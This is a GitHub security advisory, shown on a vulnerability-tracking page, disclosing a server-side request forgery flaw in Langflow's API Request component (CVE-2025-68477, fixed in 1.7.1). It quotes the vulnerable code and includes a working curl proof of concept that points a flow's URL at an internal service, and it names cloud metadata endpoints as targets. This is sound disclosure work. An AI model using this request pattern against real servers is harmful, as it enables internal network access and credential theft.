ghsa-5993-7p27-66g5
Vulnerability from github
Published
2025-12-19 22:52
Modified
2025-12-19 22:52
Summary
Langflow vulnerable to Server-Side Request Forgery
Details

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

  1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

    python @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True) async def simplified_run_flow( *, background_tasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)], input_request: SimplifiedAPIRequest | None = None, stream: bool = False, api_key_user: Annotated[UserRead, Depends(api_key_security)], context: dict | None = None, http_request: Request, ):

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

    bash @router.post( "/run/advanced/{flow_id_or_name}", response_model=RunResponse, response_model_exclude_none=True, ) async def experimental_run_flow( *, session: DbSession, flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, session_id: Annotated[None | str, Body(embed=True)] = None, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> RunResponse:

  2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

    ```python def _normalize_url(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg)

        url = url.strip()
        if url.startswith(("http://", "https://")):
            return url
        return f"https://{url}"
    

    ```

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

    ```python url = self._normalize_url(url)

        # Validate URL
        if not validators.url(url):
            msg = f"Invalid URL provided: {url}"
            raise ValueError(msg)
    

    ```

  3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

    python try: # Prepare request parameters request_params = { "method": method, "url": url, "headers": headers, "json": processed_body, "timeout": timeout, "follow_redirects": follow_redirects, } response = await client.request(**request_params)

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

    python # Base metadata metadata = { "source": url, "status_code": response.status_code, "response_headers": response_headers, }

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

    ```python # Handle response content if is_binary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8")

            metadata["result"] = result
    
            if include_httpx_metadata:
                metadata.update({"headers": headers})
    
            return Data(data=metadata)
    

    ```

PoC


PoC Description

  • I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
  • I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

  • Langflow Setting

    image

  • Exploit

    bash curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"input_value":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^json\n";"") | sub("\n$";"") | fromjson | .result'

    image

Impact


  • Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
  • Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
  • Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
  • Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
  • Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.
Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-19T22:52:59Z",
    "nvd_published_at": "2025-12-19T17:15:53Z",
    "severity": "HIGH"
  },
  "details": "**Vulnerability Overview**\n\n\nLangflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.\n\nBecause the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible\u2014accessing internal resources from the server\u2019s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.\n\n**Vulnerable Code**\n \n1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359\n    \n    ```python\n    @router.post(\"/run/{flow_id_or_name}\", response_model=None, response_model_exclude_none=True)\n    async def simplified_run_flow(\n        *,\n        background_tasks: BackgroundTasks,\n        flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],\n        input_request: SimplifiedAPIRequest | None = None,\n        stream: bool = False,\n        api_key_user: Annotated[UserRead, Depends(api_key_security)],\n        context: dict | None = None,\n        http_request: Request,\n    ):\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588\n    \n    ```bash\n    @router.post(\n        \"/run/advanced/{flow_id_or_name}\",\n        response_model=RunResponse,\n        response_model_exclude_none=True,\n    )\n    async def experimental_run_flow(\n        *,\n        session: DbSession,\n        flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],\n        inputs: list[InputValueRequest] | None = None,\n        outputs: list[str] | None = None,\n        tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,\n        stream: Annotated[bool, Body(embed=True)] = False,\n        session_id: Annotated[None | str, Body(embed=True)] = None,\n        api_key_user: Annotated[UserRead, Depends(api_key_security)],\n    ) -\u003e RunResponse:\n    ```\n    \n2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289\n    \n    ```python\n        def _normalize_url(self, url: str) -\u003e str:\n            \"\"\"Normalize URL by adding https:// if no protocol is specified.\"\"\"\n            if not url or not isinstance(url, str):\n                msg = \"URL cannot be empty\"\n                raise ValueError(msg)\n    \n            url = url.strip()\n            if url.startswith((\"http://\", \"https://\")):\n                return url\n            return f\"https://{url}\"\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438\n    \n    ```python\n            url = self._normalize_url(url)\n    \n            # Validate URL\n            if not validators.url(url):\n                msg = f\"Invalid URL provided: {url}\"\n                raise ValueError(msg)\n    ```\n    \n3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata[\"result\"].\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322\n    \n    ```python\n            try:\n                # Prepare request parameters\n                request_params = {\n                    \"method\": method,\n                    \"url\": url,\n                    \"headers\": headers,\n                    \"json\": processed_body,\n                    \"timeout\": timeout,\n                    \"follow_redirects\": follow_redirects,\n                }\n                response = await client.request(**request_params)\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340\n    \n    ```python\n                # Base metadata\n                metadata = {\n                    \"source\": url,\n                    \"status_code\": response.status_code,\n                    \"response_headers\": response_headers,\n                }\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379\n    \n    ```python\n                # Handle response content\n                if is_binary:\n                    result = response.content\n                else:\n                    try:\n                        result = response.json()\n                    except json.JSONDecodeError:\n                        self.log(\"Failed to decode JSON response\")\n                        result = response.text.encode(\"utf-8\")\n    \n                metadata[\"result\"] = result\n    \n                if include_httpx_metadata:\n                    metadata.update({\"headers\": headers})\n    \n                return Data(data=metadata)\n    ```\n    \n\n### PoC\n\n---\n\n**PoC Description**\n \n- I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3.\n- I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/\u003cFLOW_ID\u003e` with an API key to perform SSRF. The response returned the internal service\u2019s body in the `result` field, confirming non-blind SSRF.\n\n**PoC**\n\n- Langflow Setting\n    \n    \u003cimg width=\"1917\" height=\"940\" alt=\"image\" src=\"https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f\" /\u003e\n    \n- Exploit\n    \n    ```bash\n    curl -s -X POST \u0027http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d\u0027 \\\n      -H \u0027Content-Type: application/json\u0027 \\\n      -H \u0027x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M\u0027 \\\n      --data-raw \u0027{\n        \"inputs\":[{\"components\":[],\"input_value\":\"\"}],\n        \"outputs\":[\"Chat Output\"],\n        \"tweaks\":{\"API Request\":{\"url_input\":\"http://172.18.0.3:8000/internal\",\"include_httpx_metadata\":false}},\n        \"stream\":false\n      }\u0027 | jq -r \u0027.outputs[0].outputs[0].results.message.text | sub(\"^```json\\\\n\";\"\") | sub(\"\\\\n```$\";\"\") | fromjson | .result\u0027\n    ```\n    \n    \u003cimg width=\"1918\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1\" /\u003e\n    \n\n### Impact\n\n---\n\n- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).\n- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.\n- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF\u2192RCE chain (e.g., invoking an internal admin API).\n- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.\n- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.",
  "id": "GHSA-5993-7p27-66g5",
  "modified": "2025-12-19T22:52:59Z",
  "published": "2025-12-19T22:52:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68477"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow vulnerable to Server-Side Request Forgery"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…